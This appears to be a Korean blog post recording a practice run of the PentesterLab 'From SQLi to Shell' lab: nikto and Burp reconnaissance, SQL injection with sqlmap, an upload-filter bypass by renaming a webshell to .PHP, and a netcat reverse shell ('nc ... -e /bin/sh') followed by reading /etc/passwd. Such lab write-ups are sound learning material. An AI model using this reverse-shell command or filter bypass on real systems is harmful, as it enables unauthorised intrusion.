이 글은 화이트 해커를 위한 웹 해킹의 기술_최봉환 책의 내용을 바탕으로 작성하였습니다.
칼리 리눅스에는 여러가지 해킹 툴이 마련되어있는데 책에서 배운 내용을 바탕으로 가상 웹을 해킹해보려 한다.
가상 웹은 https://pentesterlab.com/exercies/from_sqli_to_shell 에서 다운 받은 파일로 실습했다.
먼저 웹 해킹의 첫번째 단계는 정보 획득이다. nikto명령어를 통해 웹사이트의 정보를 가져왔다.
여러 디렉토리 및 버전 등의 정보들이 나타난다.
그리고 웹 사이트 곳곳을 확인하기 위해 버프 스위트의 target기능을 활용해줬다.
웹 사이트의 여러 페이지를 볼 수 있는데 이 중 /cat.php?id=1인 곳을 먼저 확인해줬다.
1. sql injection & XSS
sql injection 가능성을 알아보기 위해 따옴표(')를 붙여준 결과 오류가 발생하여 sqlmap 기능을 사용해 취약점들을 파악했다.
확인해 본 결과 xss 취약점 역시 있다는 것을 확인할 수 있었고 db테이블 정보와 admin 계정의 정보까지 확인할 수 있었다.
그렇게 admin 계정으로 접속해 본 결과 파일을 업로드 할 수 있는 곳이 있었고 파일 업로드 공격을 시도했다.
2. File Inclusion
미리 가지고 있던 webshell.php 파일을 업로드 해봤는데 php파일을 필터링 하고 있었다.
그렇기에 .php 에서 .PHP로 바꿔 업로드를 해주었더니 업로드 된것을 확인할 수 있었다.
업로드 된 파일의 주소를 개발자 도구를 활용해 찾아주고 해당 주소에 들어가봤더니 웹셸 폼을 획득했다.
웹셸 기능을 완전히 가져오기 위해 칼리 리눅스에서 nc -lvnp 4000을, 웹셸의 폼에선 nc (칼리리눅스 주소) 4000 -e /bin/sh를 입력해줬다.
칼리 리눅스에서 해당 사이트의 셸을 획득했고 cat /etc/passwd 등의 명령어를 통해 해킹을 성공할 수 있었다.
'Web Hacking > Information' 카테고리의 다른 글
Cookie & Session (쿠키와 세션) (0) | 2024.03.28 |
---|---|
preg_match 함수 (1) | 2023.11.26 |
SQL INJECTION 예방책 - prepared statement (0) | 2023.10.28 |
sql injection 주석 사용 주의점 (0) | 2023.10.20 |
bit연산 이용한 Blind sql injection 기술 (0) | 2023.10.16 |